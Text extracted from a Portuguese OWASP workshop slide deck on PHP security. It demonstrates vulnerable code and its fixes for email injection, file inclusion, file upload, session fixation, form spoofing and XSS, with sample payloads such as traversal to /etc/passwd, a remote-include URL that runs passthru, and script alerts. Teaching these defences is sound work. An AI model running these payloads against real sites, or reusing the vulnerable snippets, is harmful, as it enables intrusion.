89
Abril 2010 1 Joaquim Marques - EST OWASP @ ISCTE-IUL Workshop de Segurança Aplicacional Segurança em PHP

OWASP@ ISCTE-IUL, Segurança em PHP

Embed Size (px)

DESCRIPTION

Apresentação realizada no OWASP@ISCTE-IUL, sobre Segurança em PHP

Citation preview

Page 1: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

1

Joaquim Marques - EST

OWASP @ ISCTE-IULWorkshop de Segurança Aplicacional

Segurança em PHP

Page 2: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010OWASP @ ISCTE-IUL

Aplicações Web - problemas No Início- Protocolo HTTP /browsers desenhados para permuta de documentos,- Utilização de tecnologias pouco interoperáveis na concepção de aplicações web,- Segurança das aplicações deixada para segundo plano.

Page 3: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010OWASP @ ISCTE-IUL

Aplicações Web - problemas No Início- Protocolo HTTP /browsers desenhados para permuta de documentos,- Utilização de tecnologias pouco interoperáveis na concepção de aplicações web,- Segurança das aplicações deixada para segundo plano.

Actualidade- Quase todas as aplicações Web tem problemas de segurança (diferentes umas das outras)- Dificuldade em criar aplicações razoavelmente seguras-Segurança é dispendiosa (análise de risco)- Segurança dificulta a usabilidade

Page 4: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010OWASP @ ISCTE-IUL

Aplicações Web - problemas No Início- Protocolo HTTP /browsers desenhados para permuta de documentos,- Utilização de tecnologias pouco interoperáveis na concepção de aplicações web,- Segurança das aplicações deixada para segundo plano.

Actualidade- Quase todas as aplicações Web tem problemas de segurança (diferentes umas das outras)- Dificuldade em criar aplicações razoavelmente seguras-Segurança é dispendiosa (análise de risco)- Segurança dificulta a usabilidade

Page 5: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

3

2005 CSI/FBI Annual Computer Crime and Security Surveyhttp://i.cmpnet.com/v2.gocsi.com/pdf/CSISurvey2007.pdf

Page 6: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

4

CAPÍTULO IIDos crimes ligados à informática Artigo 3º - Falsidade informática Artigo 4º - Dano relativo a programas ou outros dados Informáticos Artigo 5º - Sabotagem informática Artigo 6º - Acesso ilegítimo Artigo 7º - Intercepção ilegítima

Pena de prisão

Page 7: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

5

Questões de segurança actuais - vulnerabilidades

Ataques de “hackers” - negação de serviço, - assalto a servidores,Ameaças vulgares (vírus, spyware, pishing,…)Comprometimento de dados

Page 8: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

5

Questões de segurança actuais - vulnerabilidades

Ataques de “hackers” - negação de serviço, - assalto a servidores,Ameaças vulgares (vírus, spyware, pishing,…)Comprometimento de dados

Ameaças – O que fazer < Monitorização: saber o que aconteceu.

< Deteccão: saber quando fui atacado.

< Prevenção parar os ataques antes de terem sucesso.

< Avaliação: descobrir os problemas primeiro que os atacantes

Page 9: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010OWASP @ ISCTE-IUL

Firewall de rede

6

Page 10: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010OWASP @ ISCTE-IUL

Firewall de rede

Exploração de vulnerabilidades através:

- Web servers- Database servers- Web Application Servers

6

Page 11: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

7

Page 12: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

7

Page 13: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

7

Page 14: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

8

- TOP 10 vulnerabilidades de aplicações Web 2010

Page 15: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

9

PHP Remote File Include: Por defeito o PHP permite que as funções que lidam com ficheiros acedam a recursos através da funcionalidade/extensão "allow_url_fopen". Ao permitir que os scripts permitam que o input de utilizadores influenciem os nomes de ficheiros então a inclusão remota de ficheiros pode resultar. Este ataque permite: Execução de código remoto

Instalação de rootkits Compromisso do sistema

SQL Injection:As injecções são possíveis pelo fornecimento de dados falsamente interpretados pelas queries SQL. As injecções SQL permitem ao atacante:

Criar, ler, alterar, e apagar os dados disponíveis para a aplicação comprometendo a base de dados e o próprio sistema.

Cross-Site Scripting (XSS): Permite ao atacante desfigurar um website, inserir conteúdo hostil, conduzir ataques de pishing, assaltar o browser usando javascript e até forçar o utilizador a usar comandos inapropriados sem o saber (XSRF).

Cross-Site Request Forgeries (CSR/XSRF): Força os utilizadores legítimos a executar comandos sem o seu consentimento, sendo extremamente difícil de prevenir ( a sua sofisticação tem vindo a aumentar pela utilização de técnicas AJAX e até de worms automatizados - Samy MySpace Worm.

PHP – tipos de vulnerabilidades mais explorados

http://www.sans.org/top20/#s1

Page 16: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

10

PHP – cuidados básicos - verificar configuração do servidor Web/PHP - validar Input do utilizador

Auditoria(s) - ao servidor e aplicaçõesHábitos de programação segura Testes ao código

Solução

Page 17: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

10

PHP – cuidados básicos - verificar configuração do servidor Web/PHP - validar Input do utilizador

Auditoria(s) - ao servidor e aplicaçõesHábitos de programação segura Testes ao código

Solução

Page 18: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

10

PHP – cuidados básicos - verificar configuração do servidor Web/PHP - validar Input do utilizador

Auditoria(s) - ao servidor e aplicaçõesHábitos de programação segura Testes ao código

Solução

Page 19: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

11

FerramentasPhpSecInfo PHP SecAudit –Dan Lefree

Alteração directivas php.ini (se for administrador) .htaccess php_flag directive value ini_set()

Page 20: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

12

Nunca confiar no “Input” dos utilizadores

Regra básica

Origem input-Campos de formulário -Dados $_GET, $_POST, $_REQUEST-Cookies ($_COOKIES)-Dados de Web services-Ficheiros-Variáveis de servidor (ex:. $_SERVER['SERVER_NAME'])-Variáveis de ambiente-Resultados de querys a BD’s

Page 21: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

12

Nunca confiar no “Input” dos utilizadores

Regra básica

Origem input-Campos de formulário -Dados $_GET, $_POST, $_REQUEST-Cookies ($_COOKIES)-Dados de Web services-Ficheiros-Variáveis de servidor (ex:. $_SERVER['SERVER_NAME'])-Variáveis de ambiente-Resultados de querys a BD’s

Page 22: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

12

Nunca confiar no “Input” dos utilizadores

Regra básica

Filtragem e validação de dados em PHP Ferramentas e funções tradicionais Ferramentas standard (extensão filter-> PHP 5.2) funções que testam, validam e filtram o input dos utilizadores

Page 23: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

12

Nunca confiar no “Input” dos utilizadores

Regra básica

Filtragem e validação de dados em PHP Ferramentas e funções tradicionais Ferramentas standard (extensão filter-> PHP 5.2) funções que testam, validam e filtram o input dos utilizadores

FILTER_VALIDATE_INT "int"

FILTER_VALIDATE_BOOLEAN "boolean"

FILTER_VALIDATE_FLOAT "float"

FILTER_VALIDATE_REGEXP "validate_regexp"

FILTER_VALIDATE_URL "validate_url"

FILTER_VALIDATE_EMAIL "validate_email"

FILTER_VALIDATE_IP "validate_ip"

FILTER_SANITIZE_STRING "string"

FILTER_SANITIZE_STRIPPED "stripped"

FILTER_SANITIZE_ENCODED "encoded"

FILTER_SANITIZE_SPECIAL_CHARS "special_chars"

FILTER_SANITIZE_EMAIL "email"

FILTER_SANITIZE_URL "url"

FILTER_SANITIZE_NUMBER_INT "number_int"

FILTER_SANITIZE_NUMBER_FLOAT "number_float"

FILTER_SANITIZE_MAGIC_QUOTES "magic_quotes"

FILTER_CALLBACK "callback"

Page 24: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

12

Nunca confiar no “Input” dos utilizadores

Regra básica

Filtragem e validação de dados em PHP Ferramentas e funções tradicionais Ferramentas standard (extensão filter-> PHP 5.2) funções que testam, validam e filtram o input dos utilizadores

FILTER_VALIDATE_INT "int"

FILTER_VALIDATE_BOOLEAN "boolean"

FILTER_VALIDATE_FLOAT "float"

FILTER_VALIDATE_REGEXP "validate_regexp"

FILTER_VALIDATE_URL "validate_url"

FILTER_VALIDATE_EMAIL "validate_email"

FILTER_VALIDATE_IP "validate_ip"

FILTER_SANITIZE_STRING "string"

FILTER_SANITIZE_STRIPPED "stripped"

FILTER_SANITIZE_ENCODED "encoded"

FILTER_SANITIZE_SPECIAL_CHARS "special_chars"

FILTER_SANITIZE_EMAIL "email"

FILTER_SANITIZE_URL "url"

FILTER_SANITIZE_NUMBER_INT "number_int"

FILTER_SANITIZE_NUMBER_FLOAT "number_float"

FILTER_SANITIZE_MAGIC_QUOTES "magic_quotes"

FILTER_CALLBACK "callback"Funções de filtragem filter_var ( $variable [, $filter [,$options ]] ) filter_input ( $type , $variable_name [, $filter [, $options ]] ) ….

Page 25: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

13

PHP – níveis múltiplos de filtragem de dados

Owasp ESAPI(enterprise security API) for PHPhttp://code.google.com/p/owasp-esapi-php/

Page 26: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

13

PHP – níveis múltiplos de filtragem de dados

Owasp ESAPI(enterprise security API) for PHPhttp://code.google.com/p/owasp-esapi-php/

Page 27: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

13

PHP – níveis múltiplos de filtragem de dados

Owasp ESAPI(enterprise security API) for PHPhttp://code.google.com/p/owasp-esapi-php/

Page 28: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

14

Precauções básicas em PHP

• restrição no acesso a phpinfo(), -> disable_functions =phpinfo

• utilize ligações seguras SSL• utilize ficheiros e directórios ocultos/privados• “cuidados” com a configuração do PHP

• listagem/reporting de erros • register_globals• safe_mode

• “cuidados” com os privilégios na administração das BD´s• “cuidados” com os ficheiros de instalação/config das aplicações

Page 29: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

14

Precauções básicas em PHP

• restrição no acesso a phpinfo(), -> disable_functions =phpinfo

• utilize ligações seguras SSL• utilize ficheiros e directórios ocultos/privados• “cuidados” com a configuração do PHP

• listagem/reporting de erros • register_globals• safe_mode

• “cuidados” com os privilégios na administração das BD´s• “cuidados” com os ficheiros de instalação/config das aplicações

<?phpecho "---";//ini_set(disable_functions =phpinfo);//ini_set(register_globals = Off); sem qq efeito//ini_set(safe_mode = Off); sem qq efeitoini_set('display_errors', 'Off');ini_set('log_errors', 'On');ini_set('error_log', '../logs/error_log');ini_set('error_reporting', E_ALL | E_STRICT);phpinfo();?>

Page 30: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

14

Precauções básicas em PHP

• restrição no acesso a phpinfo(), -> disable_functions =phpinfo

• utilize ligações seguras SSL• utilize ficheiros e directórios ocultos/privados• “cuidados” com a configuração do PHP

• listagem/reporting de erros • register_globals• safe_mode

• “cuidados” com os privilégios na administração das BD´s• “cuidados” com os ficheiros de instalação/config das aplicações

<?phpecho "---";//ini_set(disable_functions =phpinfo);//ini_set(register_globals = Off); sem qq efeito//ini_set(safe_mode = Off); sem qq efeitoini_set('display_errors', 'Off');ini_set('log_errors', 'On');ini_set('error_log', '../logs/error_log');ini_set('error_reporting', E_ALL | E_STRICT);phpinfo();?>

<?//ini_set('register_globals', 'Off'); sem qq efeito//$auth=0;if ($password == "chave") { $auth = 1;}if ($auth == 1) { echo "acesso permitido";} else {echo "acesso recusado";}?>

Page 31: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

15

a)- Spoofing do endereço de e-mail

mail($recipient,$subject,$message,$headers) To: $recipient Subject: $subject $headers $message

<html><body><?php//php_email_injectionaini_set("SMTP","mail.est.ipcb.pt");ini_set("sendmail_from",“[email protected]");

if (isset($_POST['email'])){ $email = $_POST['email'] ; $assunto = $_POST['assunto'] ; $mensagem = $_POST['mensagem'] ; if (mail("[email protected]",$assunto,$mensagem, "From: $email" )){; echo "Obrigado por enviar o email"; }}else{?>

<form method='POST' action='php_email_injectiona.php'> Para: @example.com <br /> De: <input name='email' type='text' /> <br /> Assunto: <input name='assunto' type='text' /><br /> Message:<br /> <textarea name='mensagem' rows='10' cols='40'> </textarea><br /> <input type='submit' name='enviar' value='enviar'/></form><?php}?></body></html>

Page 32: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

15

a)- Spoofing do endereço de e-mail

mail($recipient,$subject,$message,$headers) To: $recipient Subject: $subject $headers $message

Page 33: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

15

a)- Spoofing do endereço de e-mail

mail($recipient,$subject,$message,$headers) To: $recipient Subject: $subject $headers $message

Php_email_injection_a.php

function spamcheck($field){ if(eregi("to:",$field) || eregi("cc:",$field)) { return TRUE; } else { return FALSE; } }

Page 34: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

16

b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)

<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>

D.T.

Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)

Page 35: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

16

b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)

<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>

http://localhost/php_include.php?fich=teste.txt

D.T.

Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)

Page 36: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

16

b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)

<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>

http://localhost/php_include.php?fich=teste.txt http://localhost/security/php_include.php?fich=c:/boot.ini

D.T.

Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)

Page 37: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

16

b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)

<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>

http://localhost/php_include.php?fich=teste.txt

http://localhost/php_include.php?fich=/etc/passwd

http://localhost/security/php_include.php?fich=c:/boot.ini

D.T.

Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)

Page 38: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

16

b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)

<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>

http://localhost/php_include.php?fich=teste.txt

http://localhost/php_include.php?fich=/etc/passwd

http://localhost/security/php_include.php?fich=c:/boot.ini

D.T.

Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)

Page 39: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

16

b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)

<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>

http://localhost/php_include.php?fich=teste.txt

http://localhost/php_include.php?fich=/etc/passwdhttp://localhost/php_include.php?fich=../../../etc/passwd

http://localhost/security/php_include.php?fich=c:/boot.ini

D.T.

Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)

Page 40: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

16

b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)

<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>

http://localhost/php_include.php?fich=teste.txt

http://localhost/php_include.php?fich=/etc/passwdhttp://localhost/php_include.php?fich=../../../etc/passwd

Solução: <?php//php_include_sec.phpecho"PHP_Include() -exemplo ataque <br>";include(basename(realpath($_GET['fich'])));?>

http://localhost/security/php_include.php?fich=c:/boot.ini

D.T.

Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)

Page 41: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

16

b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)

<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>

http://localhost/php_include.php?fich=teste.txt

http://localhost/php_include.php?fich=/etc/passwdhttp://localhost/php_include.php?fich=../../../etc/passwd

Solução: <?php//php_include_sec.phpecho"PHP_Include() -exemplo ataque <br>";include(basename(realpath($_GET['fich'])));?>

http://localhost/security/php_include.php?fich=c:/boot.ini

D.T.

Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)

Solução alternativa

Page 42: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

16

b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)

<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>

http://localhost/php_include.php?fich=teste.txt

http://localhost/php_include.php?fich=/etc/passwdhttp://localhost/php_include.php?fich=../../../etc/passwd

Solução: <?php//php_include_sec.phpecho"PHP_Include() -exemplo ataque <br>";include(basename(realpath($_GET['fich'])));?>

http://localhost/security/php_include.php?fich=c:/boot.ini

D.T.

R.I.

Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)

Safemode=onOpen_basedir=/path

Solução alternativa

Page 43: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

16

b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)

<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>

http://localhost/php_include.php?fich=teste.txt

http://localhost/php_include.php?fich=/etc/passwdhttp://localhost/php_include.php?fich=../../../etc/passwd

Solução: <?php//php_include_sec.phpecho"PHP_Include() -exemplo ataque <br>";include(basename(realpath($_GET['fich'])));?>

http://localhost/security/php_include.php?fich=c:/boot.ini

D.T.

<?php//php_include1.php –colocar no site atacanteprint "<pre>";passthru("dir");print "</pre>";?>

R.I.

ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha

Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)

Safemode=onOpen_basedir=/path

Solução alternativa

Page 44: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

16

b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)

<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>

http://localhost/php_include.php?fich=teste.txt

http://localhost/php_include.php?fich=/etc/passwdhttp://localhost/php_include.php?fich=../../../etc/passwd

Solução: <?php//php_include_sec.phpecho"PHP_Include() -exemplo ataque <br>";include(basename(realpath($_GET['fich'])));?>

http://localhost/security/php_include.php?fich=c:/boot.ini

D.T.

<?php//php_include1.php –colocar no site atacanteprint "<pre>";passthru("dir");print "</pre>";?>

R.I. http://localhost/security/php_include.php?fich=http://

www.est.ipcb.pt/pessoais/marques/php_include1.phpsec

ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha

Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)

Safemode=onOpen_basedir=/path

Solução alternativa

Page 45: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

16

b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)

<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>

http://localhost/php_include.php?fich=teste.txt

http://localhost/php_include.php?fich=/etc/passwdhttp://localhost/php_include.php?fich=../../../etc/passwd

Solução: <?php//php_include_sec.phpecho"PHP_Include() -exemplo ataque <br>";include(basename(realpath($_GET['fich'])));?>

http://localhost/security/php_include.php?fich=c:/boot.ini

D.T.

<?php//php_include1.php –colocar no site atacanteprint "<pre>";passthru("dir");print "</pre>";?>

R.I. http://localhost/security/php_include.php?fich=http://

www.est.ipcb.pt/pessoais/marques/php_include1.phpsec

Safe_mode=offAllow_url_include=onAllow_url_fopen=on

ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha

Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)

Safemode=onOpen_basedir=/path

Solução alternativa

Funciona com

Page 46: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

17

c)- Upload de ficheiros

<?php //fich_upload1a.phpif (isset($_POST['Enviar'])) { //if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR> Upload sem efeito"); echo "o seguinte ficheiro foi transferido correctamente <br>"; echo "Name: ".$_FILES['fich']['name']."<br>"; //print_r($_FILES);

//} else {

// echo "<br><br>"; // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].")<br>"; //} }else{?><form name="form" method="post" action="" enctype="multipart/form-data"> Ficheiro:<input type="file" name="fich"> <br> <input type="submit" name="Enviar" value="Enviar"></form> <?php} ?>

Page 47: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

17

c)- Upload de ficheiros

<?php //fich_upload1a.phpif (isset($_POST['Enviar'])) { //if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR> Upload sem efeito"); echo "o seguinte ficheiro foi transferido correctamente <br>"; echo "Name: ".$_FILES['fich']['name']."<br>"; //print_r($_FILES);

//} else {

// echo "<br><br>"; // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].")<br>"; //} }else{?><form name="form" method="post" action="" enctype="multipart/form-data"> Ficheiro:<input type="file" name="fich"> <br> <input type="submit" name="Enviar" value="Enviar"></form> <?php} ?>

Page 48: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

17

c)- Upload de ficheiros

<?php //fich_upload1a.phpif (isset($_POST['Enviar'])) { //if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR> Upload sem efeito"); echo "o seguinte ficheiro foi transferido correctamente <br>"; echo "Name: ".$_FILES['fich']['name']."<br>"; //print_r($_FILES);

//} else {

// echo "<br><br>"; // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].")<br>"; //} }else{?><form name="form" method="post" action="" enctype="multipart/form-data"> Ficheiro:<input type="file" name="fich"> <br> <input type="submit" name="Enviar" value="Enviar"></form> <?php} ?>

Page 49: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

18

<?php //fich_upload1.phpif (isset($_POST['Enviar'])) { //if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { if (is_uploaded_file($_FILES['fich']['tmp_name']) && $_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { move_uploaded_file($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR> Upload sem efeito"); echo "o seguinte ficheiro foi transferido correctamente <br>"; echo "Name: ".$_FILES['fich']['name']."<br>"; print_r($_FILES); } else { echo "<br><br>"; echo "Falha de Upload, tipo de ficheiro errado (".$_FILES['fich']['name'].")<br>"; } }else{?><form name="form" method="POST" action="" enctype="multipart/form-data"> Ficheiro:<input type="file" name="fich"> <br> <input type="submit" name="Enviar" value="Enviar"></form> <?php} ?>

c)- Upload de ficheiros

Page 50: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

19

d:) Fixação de sessões

<?php//php_session1.phpsession_start();

$_SESSION['utilizador']='marques';$_SESSION['password']='aeiou';?>

1 - Eliminar cookies (ver session.save_path) - http://host/php_session1.php?PHPSESSID=1234567892- a partir de outro computador - http://host/php_session1.php?PHPSESSID=123456789

Page 51: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

19

d:) Fixação de sessões

<?php//php_session1.phpsession_start();

$_SESSION['utilizador']='marques';$_SESSION['password']='aeiou';?>

1 - Eliminar cookies (ver session.save_path) - http://host/php_session1.php?PHPSESSID=1234567892- a partir de outro computador - http://host/php_session1.php?PHPSESSID=123456789

--session_regenerate_id()solução

Page 52: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

19

d:) Fixação de sessões

<?php//php_session1.phpsession_start();

$_SESSION['utilizador']='marques';$_SESSION['password']='aeiou';?>

1 - Eliminar cookies (ver session.save_path) - http://host/php_session1.php?PHPSESSID=1234567892- a partir de outro computador - http://host/php_session1.php?PHPSESSID=123456789

--session_regenerate_id()solução

………..if(!isset($_SESSION['SERVER_GENERATED_SID'])) { //destruir todos as sessões session_destroy(); } // gera um novo identificador de sessão session_regenerate_id( ); $_SESSION['SERVER_GENERATED_SID']=true; ……..

--Verificar se as sessões foram criadas pelo servidor web

Page 53: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

20

e) Sequestro de sessões (session Hijacking)

Verificação extra(mudança de browser no

utilizador)

Solução – utilização de tokens

Page 54: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

20

e) Sequestro de sessões (session Hijacking)

<?php session_start(); if (isset($_SESSION['HTTP_USER_AGENT'])) { if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) { /*PEDIDO de PASSWORD/ exit; } } else { $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); } ?>

compara o valor do HTTP_USER_AGENT do browser com o do servidor Web

Verificação extra(mudança de browser no

utilizador)

Solução – utilização de tokens

Page 55: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

21

f) - Formulários Spoofed (falsificados)

Page 56: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

21

f) - Formulários Spoofed (falsificados)

<html><head> </head> <body><form action="processar.php" method="post"> <p>Marca</p> <select name="marca"> <option value="Ford">Ford</option> <option value="Peugeot">Peugeot</option> <option value="Renault">Renault</option> <option value="Mercedes">Mercedes</option> </select> <p>cor</p> <select name="cor"> <option value="branco">Branco</option> <option value="verde">Verde</option> <option value="azul">Azul</option> </select> <input type="submit"> </form></body> </html>

<?php$cor=$_REQUEST['cor'];$marca=$_REQUEST['marca'];echo "marca - ". $marca."<br>";echo "cor - ".$cor."<br>";?>

//Formulario.htm

//processar.php

Page 57: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

21

f) - Formulários Spoofed (falsificados)

<html><head> </head> <body><form action="processar.php" method="post"> <p>Marca</p> <select name="marca"> <option value="Ford">Ford</option> <option value="Peugeot">Peugeot</option> <option value="Renault">Renault</option> <option value="Mercedes">Mercedes</option> </select> <p>cor</p> <select name="cor"> <option value="branco">Branco</option> <option value="verde">Verde</option> <option value="azul">Azul</option> </select> <input type="submit"> </form></body> </html>

<?php$cor=$_REQUEST['cor'];$marca=$_REQUEST['marca'];echo "marca - ". $marca."<br>";echo "cor - ".$cor."<br>";?>

//Formulario.htm

//processar.php

Page 58: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

21

f) - Formulários Spoofed (falsificados)

<?php$cor=$_REQUEST['cor'];$marca=$_REQUEST['marca'];echo "marca - ". $marca."<br>";echo "cor - ".$cor."<br>";?>

//processar.php

<form action="http://www.vitimaspoof.com/processar.php" method="POST"> <p>Marca</p> <select name=“marca"> <option value="Anzol">Carro da marca Anzol</option> <option value="Chaço">Carro da marca Chaço</option></select> <p>cor</p> <input type="text" name="cor" /> <input type="submit" /> </form>

Colocar no site do atacante (fazendo as alterações adequadas)

Formulario_spoof.htm

Page 59: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

21

f) - Formulários Spoofed (falsificados)

<?php$cor=$_REQUEST['cor'];$marca=$_REQUEST['marca'];echo "marca - ". $marca."<br>";echo "cor - ".$cor."<br>";?>

//processar.php

<form action="http://www.vitimaspoof.com/processar.php" method="POST"> <p>Marca</p> <select name=“marca"> <option value="Anzol">Carro da marca Anzol</option> <option value="Chaço">Carro da marca Chaço</option></select> <p>cor</p> <input type="text" name="cor" /> <input type="submit" /> </form>

Colocar no site do atacante (fazendo as alterações adequadas)

Formulario_spoof.htm

Page 60: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

21

f) - Formulários Spoofed (falsificados)

<?php$cor=$_REQUEST['cor'];$marca=$_REQUEST['marca'];echo "marca - ". $marca."<br>";echo "cor - ".$cor."<br>";?>

//processar.php

<form action="http://www.vitimaspoof.com/processar.php" method="POST"> <p>Marca</p> <select name=“marca"> <option value="Anzol">Carro da marca Anzol</option> <option value="Chaço">Carro da marca Chaço</option></select> <p>cor</p> <input type="text" name="cor" /> <input type="submit" /> </form>

Colocar no site do atacante (fazendo as alterações adequadas)

Formulario_spoof.htm

<?php$markk=array ('Ford','Renault','Peugeot', ‘Mercedes’);if (in_array($marca, $markk)) {//ok executa código em processar.php} else{die ("continue tentando ...eheheh");}?>

Solução

Page 61: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

22

g) XSS - Cross Site Scripting

//form1.htm<form action="processar.php" method="POST"> <p>marca</p> <select name="marca"> <option value="Ford">Ford</option> <option value="Peugeot">Peugeot</option> <option value="Renault">Renault</option> <option value="Mercedes">Mercedes</option> </select> <p>cor</p> <input type="text" name="cor" /> <input type="submit" /> </form>

//processar.php<?php$cor=$_REQUEST['cor'];$marca=$_REQUEST['marca'];echo "marca - ". $marca."<br>";echo "cor - ".$cor."<br>";//ligar a BD e inserir a escolha?>

Page 62: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

22

g) XSS - Cross Site Scripting1) <script> alert ('Ataque XSS')</script>

Page 63: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

22

g) XSS - Cross Site Scripting1) <script> alert ('Ataque XSS')</script>2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script>

Page 64: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

22

